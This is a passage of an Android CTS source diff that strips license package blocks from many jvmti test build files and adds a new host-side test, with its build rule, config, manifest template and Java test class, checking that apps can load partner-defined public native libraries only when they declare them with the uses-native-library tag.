diff --git a/hostsidetests/jvmti/run-tests/test-984/app/Android.bp b/hostsidetests/jvmti/run-tests/test-984/app/Android.bp
index 7d38d4f..93937ec 100644
--- a/hostsidetests/jvmti/run-tests/test-984/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-984/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest984DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-985/Android.bp b/hostsidetests/jvmti/run-tests/test-985/Android.bp
index 91452c7..9c03dea 100644
--- a/hostsidetests/jvmti/run-tests/test-985/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-985/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest985HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-985/app/Android.bp b/hostsidetests/jvmti/run-tests/test-985/app/Android.bp
index c8e953c..4faad8b 100644
--- a/hostsidetests/jvmti/run-tests/test-985/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-985/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest985DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-986/Android.bp b/hostsidetests/jvmti/run-tests/test-986/Android.bp
index cfd9166..4c16b57 100644
--- a/hostsidetests/jvmti/run-tests/test-986/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-986/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest986HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-986/app/Android.bp b/hostsidetests/jvmti/run-tests/test-986/app/Android.bp
index 4010ce6..d056900 100644
--- a/hostsidetests/jvmti/run-tests/test-986/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-986/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest986DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-988/Android.bp b/hostsidetests/jvmti/run-tests/test-988/Android.bp
index 17dcb75..8493a0f 100644
--- a/hostsidetests/jvmti/run-tests/test-988/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-988/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest988HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-988/app/Android.bp b/hostsidetests/jvmti/run-tests/test-988/app/Android.bp
index 31db2e1..fd2fdad 100644
--- a/hostsidetests/jvmti/run-tests/test-988/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-988/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest988DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-989/Android.bp b/hostsidetests/jvmti/run-tests/test-989/Android.bp
index 0f99abc..ddca92c 100644
--- a/hostsidetests/jvmti/run-tests/test-989/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-989/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest989HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-989/app/Android.bp b/hostsidetests/jvmti/run-tests/test-989/app/Android.bp
index ae0fc44..b433eec 100644
--- a/hostsidetests/jvmti/run-tests/test-989/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-989/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest989DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-990/Android.bp b/hostsidetests/jvmti/run-tests/test-990/Android.bp
index 7f84835..a77521f 100644
--- a/hostsidetests/jvmti/run-tests/test-990/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-990/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest990HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-990/app/Android.bp b/hostsidetests/jvmti/run-tests/test-990/app/Android.bp
index f892045..59f59a7 100644
--- a/hostsidetests/jvmti/run-tests/test-990/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-990/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest990DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-991/Android.bp b/hostsidetests/jvmti/run-tests/test-991/Android.bp
index a7d6d5c..55fcb62 100644
--- a/hostsidetests/jvmti/run-tests/test-991/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-991/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest991HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-991/app/Android.bp b/hostsidetests/jvmti/run-tests/test-991/app/Android.bp
index 96997f1..30d419e 100644
--- a/hostsidetests/jvmti/run-tests/test-991/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-991/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest991DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-992/Android.bp b/hostsidetests/jvmti/run-tests/test-992/Android.bp
index bdb9f9c..a05e992 100644
--- a/hostsidetests/jvmti/run-tests/test-992/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-992/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest992HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-992/app/Android.bp b/hostsidetests/jvmti/run-tests/test-992/app/Android.bp
index b4c1a1f..cf388ea 100644
--- a/hostsidetests/jvmti/run-tests/test-992/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-992/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest992DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-993/Android.bp b/hostsidetests/jvmti/run-tests/test-993/Android.bp
index 37b1cc0..bad6f70 100644
--- a/hostsidetests/jvmti/run-tests/test-993/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-993/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest993HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-993/app/Android.bp b/hostsidetests/jvmti/run-tests/test-993/app/Android.bp
index 1546d7e..c903584 100644
--- a/hostsidetests/jvmti/run-tests/test-993/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-993/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest993DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-994/Android.bp b/hostsidetests/jvmti/run-tests/test-994/Android.bp
index 63fc348..444f704 100644
--- a/hostsidetests/jvmti/run-tests/test-994/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-994/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest994HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-994/app/Android.bp b/hostsidetests/jvmti/run-tests/test-994/app/Android.bp
index e227326..401f44c 100644
--- a/hostsidetests/jvmti/run-tests/test-994/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-994/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest994DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-995/Android.bp b/hostsidetests/jvmti/run-tests/test-995/Android.bp
index 818d938..068a54a 100644
--- a/hostsidetests/jvmti/run-tests/test-995/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-995/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest995HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-995/app/Android.bp b/hostsidetests/jvmti/run-tests/test-995/app/Android.bp
index 9a451dc..e6333c4 100644
--- a/hostsidetests/jvmti/run-tests/test-995/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-995/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest995DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-996/Android.bp b/hostsidetests/jvmti/run-tests/test-996/Android.bp
index 5c80177..48c83c6 100644
--- a/hostsidetests/jvmti/run-tests/test-996/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-996/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest996HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-996/app/Android.bp b/hostsidetests/jvmti/run-tests/test-996/app/Android.bp
index 357daa3..11ed826 100644
--- a/hostsidetests/jvmti/run-tests/test-996/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-996/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest996DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-997/Android.bp b/hostsidetests/jvmti/run-tests/test-997/Android.bp
index 719d51a..c1bfabf 100644
--- a/hostsidetests/jvmti/run-tests/test-997/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-997/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiRunTest997HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-997/app/Android.bp b/hostsidetests/jvmti/run-tests/test-997/app/Android.bp
index 8d2b2a3..7985c45 100644
--- a/hostsidetests/jvmti/run-tests/test-997/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-997/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiRunTest997DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/tagging/Android.bp b/hostsidetests/jvmti/tagging/Android.bp
index 32c262c..e0b0d32 100644
--- a/hostsidetests/jvmti/tagging/Android.bp
+++ b/hostsidetests/jvmti/tagging/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsJvmtiTaggingHostTestCases",
 
diff --git a/hostsidetests/jvmti/tagging/app/Android.bp b/hostsidetests/jvmti/tagging/app/Android.bp
index abf5078..45e4d78 100644
--- a/hostsidetests/jvmti/tagging/app/Android.bp
+++ b/hostsidetests/jvmti/tagging/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJvmtiTaggingDeviceApp",
     dex_preopt: {
diff --git a/hostsidetests/library/Android.bp b/hostsidetests/library/Android.bp
new file mode 100644
index 0000000..3bf02c1
--- /dev/null
+++ b/hostsidetests/library/Android.bp
@@ -0,0 +1,107 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsUsesNativeLibraryTest",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    java_resource_dirs: ["res"],
+    data: [":CtsUesNativeLibraryBuildPackage"],
+}
+
+// Note that this app is built as a java library. The actual app is built
+// by the test (CtsUsesNativeLibraryTest) while the test is running.
+// This java library is appended to the built apk by the test.
+java_library {
+    name: "CtsUsesNativeLibraryTestApp",
+    srcs: ["src_target/**/*.java"],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.runner",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+    ],
+    sdk_version: "test_current",
+    compile_dex: true,
+    installable: false,
+    visibility: ["//visibility:private"],
+}
+
+// These are collection of tools and libraries that are required to build
+// an apk by the test. This zip file is extracted by the test and files
+// in the zip are executed from there.
+//
+// There are two tricks used here: 1) host tools such as aapt2 are listed
+// in the `tools` property although they technically are inputs of the zip,
+// not the tools for creating the zip. However, since the java test is not
+// specific to arch, it can't (transitively) depend on arch-specific (x86)
+// host tools. To work-around the problem, they are listed in the `tools`
+// property, and then used as inputs in the `cmd`.
+//
+// 2) signapk and libconscrypt_openjdk_jni are listed in the `host_required`
+// property instead of `tools` or `srcs`. This is because those modules are
+// neither specific to arch (thus can't be in tools), nor provide source (thus
+// can't be in srcs). To access them, their location in the soong intermediate
+// directory is manually searched in the cmd, while dependencies to them are
+// created using the `required` property.
+genrule {
+    name: "CtsUesNativeLibraryBuildPackage",
+    // srcs, tools, required are all "essentially" inputs of the zip
+    // (except for soong_zip which is actually the tool)
+    srcs: [
+        ":CtsUsesNativeLibraryTestApp",
+        ":sdk_public_30_android",
+        "testkey.pk8",
+        "testkey.x509.pem",
+    ],
+    tools: [
+        "aapt2",
+        "soong_zip",
+        "merge_zips",
+        // To make signapk.jar be generated under HOST_SOONG_OUT before this rule runes
+        "signapk",
+    ],
+    host_required: [
+        "signapk",
+        "libconscrypt_openjdk_jni",
+    ],
+    out: ["CtsUesNativeLibraryBuildPackage.zip"],
+    // Copied from system/apex/apexer/Android.bp
+    cmd: "HOST_OUT_BIN=$$(dirname $(location soong_zip)) && " +
+         "HOST_SOONG_OUT=$$(dirname $$(dirname $$HOST_OUT_BIN)) && " +
+         "SIGNAPK_JAR=$$(find $$HOST_SOONG_OUT -name \"signapk*\") && " +
+         "LIBCONSCRYPT_OPENJDK_JNI=$$(find $$HOST_SOONG_OUT -name \"libconscrypt_openjdk_jni.*\") && " +
+         "rm -rf $(genDir)/content && " +
+         "mkdir -p $(genDir)/content && " +
+         "cp $(location aapt2) $(genDir)/content && " +
+         "cp $(location merge_zips) $(genDir)/content && " +
+         "cp $(location :sdk_public_30_android) $(genDir)/content && " +
+         "cp $(location :CtsUsesNativeLibraryTestApp) $(genDir)/content && " +
+         "cp $(location testkey.pk8) $(genDir)/content && " +
+         "cp $(location testkey.x509.pem) $(genDir)/content && " +
+         "cp $$SIGNAPK_JAR $(genDir)/content && " +
+         "cp $$LIBCONSCRYPT_OPENJDK_JNI $(genDir)/content && " +
+         "$(location soong_zip) -C $(genDir)/content -D $(genDir)/content -o $(out) && " +
+         "rm -rf $(genDir)/content ",
+    visibility: ["//visibility:private"],
+}
diff --git a/hostsidetests/library/AndroidTest.xml b/hostsidetests/library/AndroidTest.xml
new file mode 100644
index 0000000..bd7119c
--- /dev/null
+++ b/hostsidetests/library/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS uses-native-library tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsUsesNativeLibraryTest.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/library/OWNERS b/hostsidetests/library/OWNERS
new file mode 100644
index 0000000..ac8666c
--- /dev/null
+++ b/hostsidetests/library/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 87896
+jiyong@google.com
+
diff --git a/hostsidetests/library/res/AndroidManifest_template.xml b/hostsidetests/library/res/AndroidManifest_template.xml
new file mode 100644
index 0000000..ee0336f
--- /dev/null
+++ b/hostsidetests/library/res/AndroidManifest_template.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<!-- This file is a template. Strings surrounded by % characters are to be replaced -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.test.usesnativesharedlibrary">
+
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="%TARGET_SDK_VERSION%" />
+
+    <application>
+        <!-- This java library is required for the test itself -->
+        <uses-library android:name="android.test.runner" />
+        <!-- Dependencies to the native shared libraries come here -->
+        %USES_LIBRARY%
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.test.usesnativesharedlibrary"
+                     android:label="NativeLibraryLoadTest" />
+</manifest>
diff --git a/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java b/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java
new file mode 100644
index 0000000..9030b2c
--- /dev/null
+++ b/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java
@@ -0,0 +1,499 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.appmanifest.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertThat;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+
+import com.android.tradefed.device.IFileEntry;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.RunUtil;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.ZipUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.assertEquals;
+
+import java.io.File;
+import java.io.BufferedWriter;
+import java.io.BufferedReader;
+import java.io.FileWriter;
+import java.io.InputStreamReader;
+import java.io.IOException;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import java.util.Arrays;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+import java.util.zip.ZipFile;
+
+/**
+ * Tests about uses-native-library tags that was introduced in Android S.
+ *
+ * The test reads the list of partner-defined public native shared libraries
+ * (see <a href="https://source.android.com/devices/tech/config/namespaces_libraries#adding-additional-native-libraries)">
+ * Adding additional native libraries</a>) and make sure that those are available to the apps
+ * only when they are explicitly listed on the app manifest using the new tag. The libs not listed
+ * are not available even though they are declared as public.
+ *
+ * This test also make sure that the new behavior is only for the new apps targeting Android S or
+ * higher. Apps targeting Android 11 or lower still has access to all partner-defined public libs
+ * regardless of the use of the tag.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class UsesNativeLibraryTestCase extends BaseHostJUnit4Test {
+    // The list of partner-defined public native shared libraries
+    private final Set<String> mPublicLibraries = new HashSet<>();
+
+    // The list of public libs that we will make the test app to depend on
+    private final Set<String> mSomePublicLibraries = new HashSet<>();
+
+    // Remaining public libraries that shouldn't be available to new apps
+    private final Set<String> mRemainingPublicLibraries = new HashSet<>();
+
+    private File mWorkDir;
+
+    // Name of a fake library that doesn't exist on the device
+    private String mNonExistingLib;
+
+    // Name of a library that actually exists on the device, but is not part of the public libraries
+    private String mPrivateLib;
+
+    @Before
+    public void setUp() throws Exception {
+        // extract "foo.so" from lines of foo.so ->  (so) foo.so
+        Pattern pattern = Pattern.compile("(\\S+)\\s*->\\s*\\((\\S+)\\)\\s*(\\S+)");
+        Arrays.stream(executeShellCommand("dumpsys package libraries").split("\n")).
+                skip(1) /* for "Libraries:" header */ .
+                map(line -> pattern.matcher(line.trim())).
+                filter(matcher -> matcher.matches() && matcher.group(2).equals("so")).
+                map(matcher -> matcher.group(1)).
+                forEach(mPublicLibraries::add);
+
+        // Pick first half of the public libraries
+        mPublicLibraries.stream().
+                limit(mPublicLibraries.size() / 2).
+                forEach(mSomePublicLibraries::add);
+
+        // ... and remainders
+        mPublicLibraries.stream().
+                filter(lib -> !mSomePublicLibraries.contains(lib)).
+                forEach(mRemainingPublicLibraries::add);
+
+        mNonExistingLib = "libnamethatneverexist.so";
+        assertFalse(mPublicLibraries.contains(mNonExistingLib)); // unlikely!
+
+        mPrivateLib = "libui.so"; // randomly chosen private lib
+        assertTrue(getDevice().getFileEntry("/system/lib/" + mPrivateLib) != null ||
+                   getDevice().getFileEntry("/system/lib64/" + mPrivateLib) != null);
+        assertFalse(mPublicLibraries.contains(mPrivateLib));
+
+        // The zip file contains all the tools and files for building a test app on demand. Extract
+        // it to the work directory.
+        try (ZipFile packageZip = new ZipFile(getTestInformation().getDependencyFile(
+                    "CtsUesNativeLibraryBuildPackage.zip", false))) {
+            mWorkDir = FileUtil.createTempDir("work");
+            ZipUtil.extractZip(packageZip, mWorkDir);
+
+            // Make sure executables are executable
+            FileUtil.chmod(getFile("aapt2"), "u+x");
+            FileUtil.chmod(getFile("merge_zips"), "u+x");
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    @After
+    public void cleanUp() {
+        FileUtil.recursiveDelete(mWorkDir);
+    }
+
+    private File getFile(String path) {
+        return new File(mWorkDir, path);
+    }
+
+    private String executeShellCommand(String command) {
+        try {
+            return getDevice().executeShellCommand(command);
+        } catch (DeviceNotAvailableException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private Stream<IFileEntry> getFileEntriesUnder(String path) {
+        try {
+            return getDevice().getFileEntry(path).getChildren(true).stream();
+        } catch (DeviceNotAvailableException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private Stream<String> findPublicLibraryFilesUnder(String partition) {
+        return getFileEntriesUnder(partition + "/etc").
+                filter(fe -> {
+                    // For vendor partition we only allow public.libraries.txt file.
+                    // For other partitions, partner-added libs can be listed in
+                    // public.libraries-<companyname>.txt files.
+                    if (partition.equals("/vendor")) {
+                        return fe.getName().equals("public.libraries.txt");
+                    } else {
+                        return fe.getName().startsWith("public.libraries-") &&
+                                fe.getName().endsWith(".txt");
+                    }
+                }).
+                map(fe -> fe.getFullPath());
+    }
+
+    /**
+     * Tests if the native shared library list reported by the package manager is the same as
+     * the public.libraries*.txt files in the partitions.
+     */
+    @Test
+    public void testPublicLibrariesAreAllRegistered() throws DeviceNotAvailableException {
+        Set<String> libraryNamesFromTxt =
+                Stream.of("/system", "/system_ext", "/product", "/vendor").
+                flatMap(dir -> findPublicLibraryFilesUnder(dir)).
+                map(file -> executeShellCommand("cat " + file)).
+                flatMap(lines -> Arrays.stream(lines.split("\n"))).
+                filter(line -> {
+                    // filter-out empty lines or comment lines that start with #
+                    String strip = line.trim();
+                    return !strip.isEmpty() && !strip.startsWith("#");
+                }).
+                // line format is "name [bitness]". Extract the name part.
+                map(line -> line.trim().split("\\s+")[0]).
+                collect(Collectors.toSet());
+
+        assertEquals(mPublicLibraries, libraryNamesFromTxt);
+    }
+
+    /**
+     * Creates an AndroidManifest.xml file from the template with the given api level and the list
+     * of mandatory and optional native shared libraries
+     */
+    private File createManifestFileWithUsesNativeLibraryTags(File dir, int apiLevel,
+            String[] requiredLibraries, String[] optionalLibraries) {
+        try (BufferedReader reader = new BufferedReader(new InputStreamReader(
+                    getClass().getClassLoader().
+                    getResourceAsStream("AndroidManifest_template.xml")))) {
+            StringBuffer sb = new StringBuffer();
+            String line = null;
+            while( (line = reader.readLine()) != null) {
+                sb.append(line);
+            }
+            String template = sb.toString();
+
+            sb = new StringBuffer();
+            for(String lib : requiredLibraries) {
+                sb.append(String.format(
+                        "<uses-native-library android:name=\"%s\"/>", lib));
+            }
+            for(String lib : optionalLibraries) {
+                sb.append(String.format(
+                        "<uses-native-library android:name=\"%s\" android:required=\"false\"/>",
+                        lib));
+            }
+
+            String newContent = template.replace("%USES_LIBRARY%", sb.toString());
